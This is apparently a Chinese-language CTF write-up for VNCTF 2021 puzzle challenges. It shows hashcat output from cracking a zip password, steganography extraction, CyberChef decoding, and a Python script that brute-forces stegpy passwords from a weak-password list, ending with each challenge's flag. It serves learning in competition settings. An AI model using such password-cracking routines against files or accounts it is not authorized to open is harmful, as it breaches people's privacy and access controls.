Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:     2520 H/s (0.09ms) @ Accel:64 Loops:16 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 5000/10000 (50.00%)
Rejected.........: 0/5000 (0.00%)
Restore.Point....: 0/1000 (0.00%)
Candidates.#1....: 9234 -> 9764
HWMon.Dev.#1.....: Temp: 51c Util: 54% Core:1920MHz Mem:4001MHz Bus:16

Started: Mon Mar 15 18:09:57 2021
Stopped: Mon Mar 15 18:10:16 2021

很快拿到了压缩包的密码 9705。解压压缩包得到一个 Word 文档,将 Word 文档再次解包可得 hideinfo.xml。使用 010 Editor 将其打开可以发现一些奇怪的字符。

尝试零宽字符隐写可得如下内容。

vnctf{APT_1S_c0M1nG

使用如下的 CyberChef receipe 对 E-mail 文件中的 base64 字符串做进一步分析,可以发现某一段文本中含有一个 img 标签。

Find_/_Replace({'option':'Regex','string':'\\n'},'',true,false,true,false)
From_Base64('A-Za-z0-9+/=',true)
Decode_text('Simplified Chinese GB18030 (54936)')
From_HTML_Entity()
<img src="https://vnctf-213-1257061123.cos.ap-nanjing.myqcloud.com/ThisIsSecret.jpg" style="width: 770px; height: 256px;" id="img_insert_161259102178605354633598710636" modifysize="51%" diffpixels="8px" scalingmode="zoom">

将图片下载下来,使用 OurSecret 解密可得一个文件。

将文件保存后打开得到如下内容。

_fr0m_l@z@RuS}

将两段 flag 拼接起来得到完整的 flag。

vnctf{APT_1S_c0M1nG_fr0m_l@z@RuS}

Do_you_like_Rhythm_Doctor

节奏医生关卡编辑器:https://giacomopc.itch.io/rdle

将下载下来的附件解压两次后可以得到 main.rdlevel 文件。使用编辑器打开可以得到一首曲子的谱面。

可以观察到有四条轨道,每一条轨道上的点有矩形或者波两种情况。将文件用记事本打开,使用 0 代替波(Wave),使用 1 代替矩形(Square),可以得到如下数据。

011001100110110001100001011001110110101100000000010101110011001100110001011000110110111100000000011011010110010101011111010101100010011000000000010011100101111101000011010101000100011000000000

使用 CyberChef From Binary 解码可以大致看出 flag。

flag{W31come_V&N_CTF}

HAPPYNEWYEAR

解压附件可以得到一张名为 password.png 的图片和另一个压缩文档。

将图片上的内容对照 Chinese Code 和 Sheikah Language 解码。

可以得到压缩包密码为 f87840bdddcc01e4。根据提示使用 stegpy 配合密码表爆破。因为 stegpy 默认是交互的,因此自己写一段代码来解密。

from stegpy import crypt
from stegpy.lsb import HostElement, decode_message, check_magic_number


class HostElementA(HostElement):

    def read_message(self, password=None):
        msg = decode_message(self.data)

        if password:
            try:
                salt = bytes(msg[:16])
                msg = crypt.decrypt_info(password, bytes(msg[16:]), salt)
            except:
                return False

        check_magic_number(msg)
        msg_len = int.from_bytes(bytes(msg[6:10]), 'big')
        filename_len = int.from_bytes(bytes(msg[10:11]), 'big')

        start = filename_len + 11
        end = start + msg_len
        text = bytes(msg[start:end]).decode('utf-8')
        print(text)
        return True


def Decrypt(filePath, password):
    host_path = filePath
    host = HostElementA(host_path)
    password = password
    return host.read_message(password)


file = open("password.txt", "r")
passwords = file.read().split("\n")
for password in passwords:
    if Decrypt("happynewyear.png", password):
        print("[*] Found password {}".format(password))
        exit(0)
    else:
        print("[+] Tried password {}".format(password))

使用一份弱密码表配合上述脚本爆破可得如下内容。

VNCTF{HappyNewY3a5}
[*] Found password tyinfo
VNCTF{HappyNewY3a5}

results matching ""

    No results matching ""